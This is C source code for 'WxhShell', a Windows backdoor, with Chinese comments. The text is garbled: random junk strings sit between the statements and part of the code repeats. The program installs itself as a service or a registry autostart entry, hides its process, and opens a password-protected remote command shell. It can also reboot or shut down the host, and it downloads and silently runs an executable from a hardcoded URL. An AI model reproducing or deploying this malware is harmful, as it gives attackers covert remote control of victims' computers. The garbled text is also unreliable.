"NtQueryInformationProcess"); 8.Z9 i {S$]I)tV if (!NtQueryInformationProcess) return 0; I1Jhvyd?$ sY%nPf~9q' hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ra!Br6 if(!hProcess) return 0; UN8]>#\"` -wdd'G if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W Z_yaG$U EE,57( CloseHandle(hProcess); ]b+Nsr~ h!zev~u1)` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o<\uHr3 if(hProcess==NULL) return 0; Y}n$s/O:u8 GN=ugP 9 HMODULE hMod; lL$no7HBy char procName[255]; kGkfLY6B unsigned long cbNeeded; x("V+y* 23iMG]J& if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \46
'j. UG,<\k& CloseHandle(hProcess); @dHQ}Ni m\DI6O"u' if(strstr(procName,"services")) return 1; // 以服务启动 -~rZ| W~v VUQx"R9- return 0; // 注册表启动 |z
8Wh } 7jzd
I! a0/[L // 主模块 9e _8Z@| int StartWxhshell(LPSTR lpCmdLine) OH_ m ZA { GU,ztO.w3 SOCKET wsl; !zR1CM BOOL val=TRUE; $:u5XJx int port=0; .dQEr~f #} struct sockaddr_in door; h3YWqSj Pe`eF(J if(wscfg.ws_autoins) Install(); XPfheV G 5f-eWW]! port=atoi(lpCmdLine); Ty5}5)CRZ y7@q]~% if(port<=0) port=wscfg.ws_port; z:JQ3D7/we F4|U\,g WSADATA data; T:|PSJc0 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '>U&B} ?(2^lH~6h if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 6)#=@i`
\ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XR@C^d door.sin_family = AF_INET; YacLYo# door.sin_addr.s_addr = inet_addr("127.0.0.1"); KwxO%/-}S door.sin_port = htons(port); %1UdG6&J_ ,5Nf9z!hk( if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YCI-p p closesocket(wsl); nm{J return 1; Jr.4Y>;}e3 } wxW\L!@ C/{%f,rU if(listen(wsl,2) == INVALID_SOCKET) { <
/\y<]b closesocket(wsl); 6JUjT]S% return 1; d'UCPg<Y } 2)^gd Wxhshell(wsl); s F!nSr WSACleanup(); [7sy}UH t{g7 :A return 0; o >?#$~XNv 12y+g5b } kW.it5Z# 9yWQ}h // 以NT服务方式启动 q-5U,!!W/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J<27w3bs~p { 6ntduXeNVh DWORD status = 0; J{qpGRQNa DWORD specificError = 0xfffffff; (N/KP+J$n T$vDw|KSVP serviceStatus.dwServiceType = SERVICE_WIN32; ,5J}Wo?Q} serviceStatus.dwCurrentState = SERVICE_START_PENDING; @q<F_'7is serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K'u66%wAL serviceStatus.dwWin32ExitCode = 0; Im<( serviceStatus.dwServiceSpecificExitCode = 0; d@#wK~I serviceStatus.dwCheckPoint = 0; FdFN4{<QZ serviceStatus.dwWaitHint = 0; ^Z`?mNq9 Uh=@8v hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BMxe)izT; if (hServiceStatusHandle==0) return; w</qUOx %FSY}65 status = GetLastError(); i3v|r 0O~L if (status!=NO_ERROR) ocDAg<wo { qG?svt serviceStatus.dwCurrentState = SERVICE_STOPPED; nr>Os@\BU serviceStatus.dwCheckPoint = 0; ;[R#:Rk serviceStatus.dwWaitHint = 0; K%iA-h serviceStatus.dwWin32ExitCode = status; Z@d(0 z serviceStatus.dwServiceSpecificExitCode = specificError; 3Lw&HtH SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8 O% ?t return; 3qNLosm#M } K]s*rPT/, }V I}O{ serviceStatus.dwCurrentState = SERVICE_RUNNING; D/x!`&.sN serviceStatus.dwCheckPoint = 0; M#a1ev serviceStatus.dwWaitHint = 0; 6l,oL'$}P1 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .|Y&,?k|Y } I?Fv!5p eGr;P aG // 处理NT服务事件,比如:启动、停止 IqrT@jgN- VOID WINAPI NTServiceHandler(DWORD fdwControl) E
Zh.*u@^r { rmh 1.W switch(fdwControl) $7
FT0?kG { DJ.n8hne case SERVICE_CONTROL_STOP: SG@-b( serviceStatus.dwWin32ExitCode = 0; ~+OAAkJ9 serviceStatus.dwCurrentState = SERVICE_STOPPED;
roNRbA] serviceStatus.dwCheckPoint = 0; eemw
I serviceStatus.dwWaitHint = 0; jSc!"Trl] { YOE!+MiO SetServiceStatus(hServiceStatusHandle, &serviceStatus); k?7V#QW( } (eEs0 return; 7ea<2va, case SERVICE_CONTROL_PAUSE: glo Y@k~ serviceStatus.dwCurrentState = SERVICE_PAUSED; yuA+YZ break; yDe6f(D case SERVICE_CONTROL_CONTINUE: %!X9>i> serviceStatus.dwCurrentState = SERVICE_RUNNING; 05PRlz*x= break; 7uq/C#N case SERVICE_CONTROL_INTERROGATE: lo< t5~GQ break; su\iUi }; lNRGlTD% SetServiceStatus(hServiceStatusHandle, &serviceStatus); sDXD>upO } 56`Tna,t ta+MH, // 标准应用程序主函数 vmsrypm int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wY'w'%A? { (2uF<$7( G~mLc // 获取操作系统版本 orON)Sks OsIsNt=GetOsVer(); ,*MAteD GetModuleFileName(NULL,ExeFile,MAX_PATH); ms%RNxU4: hb="J349 // 从命令行安装 19j"Zxdg Y if(strpbrk(lpCmdLine,"iI")) Install(); 0ub0[A CR8szMa // 下载执行文件 <N'v-9=2jl if(wscfg.ws_downexe) { ?DrA@;IB if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OC=g 1 WinExec(wscfg.ws_filenam,SW_HIDE); YMr2|VEU[ } P+:DLex ? dh if(!OsIsNt) { *YO^+]nmY // 如果时win9x,隐藏进程并且设置为注册表启动 <{P`A%g@ HideProc(); N}gPf
i StartWxhshell(lpCmdLine); vN9R.R } C2} f' else 9_-6Lwj6t if(StartFromService()) Ygq;jX // 以服务方式启动 nghpWODq StartServiceCtrlDispatcher(DispatchTable); K
7OIT2- else E< Y!BT[X // 普通方式启动 ~YRG9TK StartWxhshell(lpCmdLine); Rn$[P.|| zvbO
q return 0; V|&->9" } 6^e}^~| J!\oH%FJp ZA+w7S3 %E2b{Y; =========================================== ["^? vhv `Kbf]"4q \,S4-~(:! fSF_O}kLp oJ?,X^~_ Ggk#>O G " Ge7Uety E?-
~*T #include <stdio.h> $f?GD<}?7r #include <string.h> 4<V}Aj8l #include <windows.h> rS8}(lf #include <winsock2.h> UZpQ%~/ #include <winsvc.h> 0bG#'.- #include <urlmon.h> M}e}3w *#9?9SYSk #pragma comment (lib, "Ws2_32.lib") #y-R*4G #pragma comment (lib, "urlmon.lib") kvG.?^ v ]P/i}R: #define MAX_USER 100 // 最大客户端连接数 4sq](!A #define BUF_SOCK 200 // sock buffer [/o BjiBA #define KEY_BUFF 255 // 输入 buffer ik#ti=. ~)pso7^: #define REBOOT 0 // 重启 :%_h'9Qq #define SHUTDOWN 1 // 关机 ^8KxU V :/v
r #define DEF_PORT 5000 // 监听端口 D-FT3Culw U+R9bn #define REG_LEN 16 // 注册表键长度 xX|f{) < #define SVC_LEN 80 // NT服务名长度 ~O~iP8T tOX-vQ // 从dll定义API G.r .Z0 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zs6rd83# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h=Q2
?O8 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _6!iv typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K"hnGYt? u/NcX // wxhshell配置信息 y2mSPLw struct WSCFG { 17`-eDd int ws_port; // 监听端口 }RY Pr char ws_passstr[REG_LEN]; // 口令 rW_cLdh]# int ws_autoins; // 安装标记, 1=yes 0=no T|j=,2_ char ws_regname[REG_LEN]; // 注册表键名 R9D2cu,{ char ws_svcname[REG_LEN]; // 服务名 1mR@Bh char ws_svcdisp[SVC_LEN]; // 服务显示名 tA'5ufj*: char ws_svcdesc[SVC_LEN]; // 服务描述信息 Fg}t{e]3a char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l Ft&cy2 int ws_downexe; // 下载执行标记, 1=yes 0=no P"t Dq& char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?'"BX char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {sj{3I u vQy<%[QO }; tw.z5 ~?)y'? // default Wxhshell configuration B(6*U~Kn% struct WSCFG wscfg={DEF_PORT, "Vp:Sq9y "xuhuanlingzhe", a40>_;}:x 1, Ol>/^3a= "Wxhshell", /11CC \ "Wxhshell", *P5/ S8c "WxhShell Service", Ml{4)%~Y7f "Wrsky Windows CmdShell Service", T!pZj_ h= "Please Input Your Password: ", SJi;_bVf 1, ">S1,rhgS "http://www.wrsky.com/wxhshell.exe", i }Zz[b "Wxhshell.exe" w{;~ }; a5d_= :S; 7 n^1H[q // 消息定义模块 p6)6Gcx char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0AoWw-H6V char *msg_ws_prompt="\n\r? for help\n\r#>"; c?GV char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k)y<iHR_o char *msg_ws_ext="\n\rExit."; s$0dLEa9 char *msg_ws_end="\n\rQuit."; \yLFV9P}EL char *msg_ws_boot="\n\rReboot..."; ]=/?Ooh char *msg_ws_poff="\n\rShutdown..."; 6lkCLH char *msg_ws_down="\n\rSave to "; A 2\3.3 BGOS( char *msg_ws_err="\n\rErr!"; V>UlL&V char *msg_ws_ok="\n\rOK!"; |<y1<O>F eu$"GbqY char ExeFile[MAX_PATH]; fjuPGg~ int nUser = 0; 3Q )" HANDLE handles[MAX_USER]; CWB<I int OsIsNt; AUfcf* A8AeM` SERVICE_STATUS serviceStatus; +#A~O4%t SERVICE_STATUS_HANDLE hServiceStatusHandle; 300[2}Y] Eq=JmO'gHs // 函数声明 L}_VT
J int Install(void); Z *v`kl int Uninstall(void); Z-" NLwt[ int DownloadFile(char *sURL, SOCKET wsh); &XXr5ne~C int Boot(int flag); F<dhG>E9 void HideProc(void); 8|+@A1)&4 int GetOsVer(void); 2uF'\y int Wxhshell(SOCKET wsl); e"p){)*$ void TalkWithClient(void *cs); ?[DVYP int CmdShell(SOCKET sock); ' 8Q}pp` int StartFromService(void); mQ<Vwx0 int StartWxhshell(LPSTR lpCmdLine); OF; "%IW~} gh `_{l
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y
7?q` VOID WINAPI NTServiceHandler( DWORD fdwControl ); d4A:XNKB #&z'?x^a // 数据结构和表定义 Wrt5eYy SERVICE_TABLE_ENTRY DispatchTable[] = 9PaV*S(\TR { ldRq:M5z {wscfg.ws_svcname, NTServiceMain}, _U,Hi?b"$} {NULL, NULL} _BCq9/ }; V,?])=Ax gnf4H
V~ // 自我安装 o+- 0`!yj int Install(void) u_o]\D~ { f>Tn#OW char svExeFile[MAX_PATH]; eF4f7>5Cv HKEY key; wawJZ+V strcpy(svExeFile,ExeFile); MaF4lFmS c&PaJm // 如果是win9x系统,修改注册表设为自启动 [88PCA: if(!OsIsNt) { I`x[1%y2 F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {?r5~T`2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g]d0B!Ar~ RegCloseKey(key); +{%)}?F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :xY9eq= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &QFc)QP{ RegCloseKey(key); &fE2zTz return 0; iAt&927 } _auFt"n }
L08lkq, } lx> ."rW else { j?\z5i""f :,g]Om^ // 如果是NT以上系统,安装为系统服务 u?H.Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gXM+N(M- if (schSCManager!=0) ;tF&r1 { ael] {'h] SC_HANDLE schService = CreateService ),[@NK&= ( X$6QQnyR schSCManager, mx
UyD[| wscfg.ws_svcname, L F } d wscfg.ws_svcdisp, 0fn*;f8{XJ SERVICE_ALL_ACCESS, C/#pK2xY SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W$()W) SERVICE_AUTO_START, &1?6Q_p6c SERVICE_ERROR_NORMAL, q\|RI;W svExeFile, 0a^bAEP NULL, *|<~IQg NULL, '3Q~y"C+4 NULL, ~zG)<S"q NULL, Yf~Kzv1]* NULL QB!_z4UJ_; ); u'Q82l&Y if (schService!=0) 4,Oa(b { c$^v~lQS CloseServiceHandle(schService); BRskxyL&, CloseServiceHandle(schSCManager); &qWB\m strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ir>h3Zk strcat(svExeFile,wscfg.ws_svcname); G
&NK if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l U4 I* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :vzIc3~c:` RegCloseKey(key); Ry"4v_e9 return 0; s}OL)rW=} } mH0OW } R@s7s%y= CloseServiceHandle(schSCManager); _$5DK%M} } [ }Tb2| } {i?G:K bv'>4a return 1; }r,xx{.u7 } JGTsVa2 #asi%&3pP // 自我卸载 /|i*'6* int Uninstall(void) CEaAtAM { f\_PNZCc HKEY key; %;v~MC@ oy5K*
} if(!OsIsNt) { GD]epr%V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B5vLV@>] RegDeleteValue(key,wscfg.ws_regname); o:W*#dt RegCloseKey(key); f$kbb6juL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1zH?.- RegDeleteValue(key,wscfg.ws_regname); ,>7dIJqzw RegCloseKey(key); n7K%lj-.P return 0; ,f>9oOqqA } ]=%qm; } h]t v+\0 } {d;z3AB else { ,52 IR[I<T 8>#ZU]cG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U&u6356 if (schSCManager!=0) Nr `R3(X { Q2r[^Z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5$'[R;r if (schService!=0) .BBJhXtrdu { [r8[lkR if(DeleteService(schService)!=0) { 1.3dy]vG CloseServiceHandle(schService); _.V5-iN CloseServiceHandle(schSCManager); YX-j|m| return 0; BA1uo0S `S } l1'v`! CloseServiceHandle(schService); L@s6u+uu } so$(-4(E O CloseServiceHandle(schSCManager); p|A ?F0 } ou~$XZ7oi } v+ in:\Dv Aipm=C8 return 1; |e2s\?nB0S } a`%`9GD CZu=/8? // 从指定url下载文件 Q~Mkf&s int DownloadFile(char *sURL, SOCKET wsh) =LV-n { z{
V;bi; HRESULT hr; |6bvUFr char seps[]= "/"; gs3(B/";c char *token; >wmHCOL: char *file; CE96e y char myURL[MAX_PATH]; e(
@</W char myFILE[MAX_PATH]; a
dr\l5pWQ T%6JVFD strcpy(myURL,sURL); dV
:} token=strtok(myURL,seps); V.*M;T\i while(token!=NULL) |rk.t g9 { qm><}N7f file=token; }vU/]0@,E token=strtok(NULL,seps); /"D,gn1S* } DoQ^caa@ Z8bg5% GetCurrentDirectory(MAX_PATH,myFILE); =-:%~ng strcat(myFILE, "\\"); +vxf_*0; strcat(myFILE, file); )2Sh oFF send(wsh,myFILE,strlen(myFILE),0); <#?dPDMG.* send(wsh,"...",3,0); _d3Z~cH hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3 5.&!4} if(hr==S_OK) 3WQa^'u return 0; LJPJENtFIs else }g-w[w 7p return 1; ZwsQ}5 <dP\vLH_ } 5U7,,oyh pu/5#[MC)^ // 系统电源模块 Rh~b," int Boot(int flag) }YdC[b$j^ { Oo;]j)z HANDLE hToken; vi^YtA TOKEN_PRIVILEGES tkp; o c]
C+l )e3w-es~4 if(OsIsNt) { lG'D/# OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i*:QbMb LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Gn^lF7yE tkp.PrivilegeCount = 1; $%bd`d*S tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `B3-#!2X AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =Mwuhk|* if(flag==REBOOT) { lBFKfLp& if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }FS_"0 return 0; Wfd`v } co8R-AB else { E3j`e>Yz if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]vf0 f,F return 0; HoAg8siQ } 6~0kb_td } hR|xUp
else { ?:`sE" if(flag==REBOOT) { cS YCMQ1ro if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G?Gf,{#K return 0; s(fkb7W,gO } :n13v@q else { q>'#; QA if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eC<RM Q4 return 0; |%5Aku0`s } !c)F; } 0'F/z%SMj -j<E_!t return 1; D>{`I' } qB_s<cpn> /
S' + // win9x进程隐藏模块 7P3/Ky@6 void HideProc(void) Ewkx4,`Ff { 3AdYZ7J R- >~MLeK] HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9O&gR46. if ( hKernel != NULL ) &@@PJ!& { o%j?}J7y pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i ?pd|J ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~tfd9,t FreeLibrary(hKernel); }X8P5c!\ } e?;c9]XO,o QlB9m2XB return; _XP}fx7$C } BhAT@% "__)RHH:8 // 获取操作系统版本 )b]!IP3 int GetOsVer(void) 6B@e[VtG$ { Kh=\YN\E< OSVERSIONINFO winfo; -!7Z winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \Cq4r4' GetVersionEx(&winfo); A405igF if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H~JgZ pw return 1; UZFs]z!,k else .53 M! return 0; 4Dzg r,V } pe,y'w{ ,aezMbg // 客户端句柄模块 XgVhb<l_ int Wxhshell(SOCKET wsl) 1l)j(,Zd* { AfO.D?4x SOCKET wsh; 5V(#nz struct sockaddr_in client; )skpf%g DWORD myID; _(m455HZ 6`'g ${U while(nUser<MAX_USER) I*f@^( { onmkg}&_ int nSize=sizeof(client); 'z}9BGR! wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _\IA[-C+O if(wsh==INVALID_SOCKET) return 1; R*cef +<@1)qZ(E handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QPp31o.!5 if(handles[nUser]==0) "h1ek*(?< closesocket(wsh); ~~&Bp_9QXN else KY<
$+/B! nUser++; $;=^|I4E } ]b;a~Y0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _&gO>G,uy uIO?4\s&G return 0; *uK!w(;2 } -0;{ yMkR)HY // 关闭 socket gGCr~.5 void CloseIt(SOCKET wsh) v h)CB8 { |*ZM{$ closesocket(wsh); $Sy}im\H nUser--; )AieO-4* ExitThread(0); =v?V } :rufnmsP<U !W&|kvT^ // 客户端请求句柄 )xg8#M=K void TalkWithClient(void *cs) @S~n^v,) { 6&~Z3|<e e$QMR.' SOCKET wsh=(SOCKET)cs; 3zfiegY@wm char pwd[SVC_LEN]; \jZmu char cmd[KEY_BUFF]; 1bw$$QXC_ char chr[1]; s^)(.e_ int i,j; D=D.s)ns* V$$9Rh while (nUser < MAX_USER) { Ai 8+U) w0=/V[fs if(wscfg.ws_passstr) { P9`CW if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -;
d{}F //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pu!C,7vUQ //ZeroMemory(pwd,KEY_BUFF); 4Rp[>}L i=0; rOUQg_y while(i<SVC_LEN) { S:g6z'e1 1z,P"?Q // 设置超时 ?a,`{1m0\ fd_set FdRead; 0#Q]>V@rO4 struct timeval TimeOut; 9w0v?%%_ FD_ZERO(&FdRead); 06pY10<>X FD_SET(wsh,&FdRead); 8c%N+E] TimeOut.tv_sec=8; g[ @Q iy TimeOut.tv_usec=0; kyYU 1gfh int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h6`VU`pPI if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ) P+<=8@a $Mx?Y9! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Kp;<z< pwd=chr[0]; -0CL#RzKR if(chr[0]==0xd || chr[0]==0xa) { F5UHkv"K&O pwd=0; 1]8Hpd break; -@'RYY= } \`/ P* i++; Csgby(D*O } }LWrtmc =zp{ ^mC // 如果是非法用户,关闭 socket :de4Fje/4y if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jW| ,5,43 } I[06R $['`H)z send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PI*Z>VE? send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sG|,#XQ ^d9o \ while(1) { 6k7x7z 3)^2X ZeroMemory(cmd,KEY_BUFF); .b2%n;_>. ,>pv>)u{ // 自动支持客户端 telnet标准 `+ Mva j=0; eNFA.*p< while(j<KEY_BUFF) { '
#t1e] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uE#i3(
J cmd[j]=chr[0]; V<n#%!M5gV if(chr[0]==0xa || chr[0]==0xd) { ufA0H
J)Yg cmd[j]=0; rO,n~|YJ break; q^[SN } $M4C4_oPy j++; q6
4bP4K } Ao9|t;i > 3l3 // 下载文件 bU4\Yu
if(strstr(cmd,"http://")) { H Mfhe[A? send(wsh,msg_ws_down,strlen(msg_ws_down),0); E3_ 5~> if(DownloadFile(cmd,wsh)) Vgj[m4l send(wsh,msg_ws_err,strlen(msg_ws_err),0); m?1AgsBR else +ldgT" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dpcv'cRfw } *&F~<HC2+ else { jpfFJon)w tlmfDQD switch(cmd[0]) { #X<s_.7DJ %e=UYBj" // 帮助 {y>Kcfc/?E case '?': { I9jzR~T send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Rd+`b break; 'n!Sco)C } _
3jY,* // 安装 Io)@u~yz case 'i': { ?OWJ UmQ if(Install()) sHMZ'9b send(wsh,msg_ws_err,strlen(msg_ws_err),0); +q~dS. else AkV8}>G?#A send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4p/d>DTiM break; nnnq6Z} } 'uF"O"* // 卸载 ^WIGd"^ case 'r': { Y[alOJ if(Uninstall()) r(/+-
t send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'sTMUPg` else @EB2I+[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JXF@b-c break; Qw/H7fvh& } | D,->k // 显示 wxhshell 所在路径 Q|:qs\6q5 case 'p': { !qVnziE,, char svExeFile[MAX_PATH]; dht*1i3v strcpy(svExeFile,"\n\r"); LO
M-i> strcat(svExeFile,ExeFile); ;_=+h,n send(wsh,svExeFile,strlen(svExeFile),0); +d,Z_ 6F break; i@#fyU)[G } XSz)$9~hk // 重启 "\M^jO case 'b': { ygfUy send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dn@_\5 if(Boot(REBOOT)) 6.gk6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); $y+Bril5W else { +OC~y: closesocket(wsh); H)l7:a ExitThread(0); XhG3Of-6 } n|f Huv break; *k
^?L }
whvvc2 // 关机 !qF t:{-h case 'd': { /#I~iYPe send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t bEJyA if(Boot(SHUTDOWN)) Z</.Ss 4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); K/ 5U;oC else { Sn!5/9Y closesocket(wsh); vX/("[ ExitThread(0); <mX EX`? } =S:Snk% break; $c<NEt_\ } !U8n=A#,- // 获取shell QNesiV0MI case 's': { G2BB]] m3 CmdShell(wsh); #1oyRD- closesocket(wsh); (N
:vDq' ExitThread(0); 3r-oZ8/n break; #9ZHt5T=$ } @X g5E // 退出 5VR=D\j case 'x': { G=l-S\0@ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8*Ke;X~N CloseIt(wsh); EwKFT
FL break; pW4$$2S?9 } @[. 0, // 离开 e'0BP,\f_} case 'q': { S@Q4fmH send(wsh,msg_ws_end,strlen(msg_ws_end),0); ft><Ql3 closesocket(wsh); ]<Kkq! WSACleanup(); e> -fI_+b exit(1); d !=AS break; e-Ma8+X\ } ,A9_xdv5 } _-5| "oJ } PEDV9u[A 6Mh"{N7 // 提示信息 {DWL 5V#M if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PJ3M,2H1b. } ^bG91"0A } Jy?; < <kOdd)X return; 7*\CfqrU } A} v;uNS] z,xGjSP // shell模块句柄 L~|_C Rw int CmdShell(SOCKET sock) :e rfs}I { 0"J0JcFX STARTUPINFO si; T7R,6qt ZeroMemory(&si,sizeof(si)); ukEJ D3i si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \ui'~n_t] si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )Cj1VjAg
PROCESS_INFORMATION ProcessInfo; B
E8_.> char cmdline[]="cmd"; }(!Uq CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B-w`mcqp$ return 0; {g1"{ } /huh}&NNu ~mt{j7 // 自身启动模式 IMbF]6%p( int StartFromService(void) D!Y@Og. { PkyX,mr#1 typedef struct cL*oO@I&_ { 5PZ7-WJ/ DWORD ExitStatus; G `3{Q7k DWORD PebBaseAddress; -@]b7J?`k DWORD AffinityMask; 6XCFL-o- DWORD BasePriority; "Vl4=W)u ULONG UniqueProcessId; =E!Y f#p+q ULONG InheritedFromUniqueProcessId; IaOR%Bg } PROCESS_BASIC_INFORMATION; (xTGt",_Jo X}x\n\Z PROCNTQSIP NtQueryInformationProcess; KTot40osj ]o=ON95ja static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iWA?FBv static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GNrRc3dr$ n`w]? bL HANDLE hProcess; #l- 0$ PROCESS_BASIC_INFORMATION pbi; S#y GqN0i I7=A!C" HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tq'ri-c&b if(NULL == hInst ) return 0; Bvj sl (@!K tW g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1$C?+H g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [ "3s NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z'1%%.r;FM / bH2Z if (!NtQueryInformationProcess) return 0; eYlI }; GBpdj}2= hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9v-Y*\!w. if(!hProcess) return 0; (=c,b9cb 3pW4Ul@e if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2T(+VeMQ= (5th CloseHandle(hProcess); #OjyUQ, /#@tv~Z^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HRM-r~2:-] if(hProcess==NULL) return 0; ewdTsgt' #$2/< HMODULE hMod; ~&MDfpl char procName[255]; _Ds,91<muQ unsigned long cbNeeded; cqs.[0 z#B NR8`nc1~ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YtWw)IK :KXI@)M CloseHandle(hProcess); ;]>)6 `\;Z&jlpT if(strstr(procName,"services")) return 1; // 以服务启动 +'olC^?5 } aTeW#:m return 0; // 注册表启动 7D:rq 8$\ } %
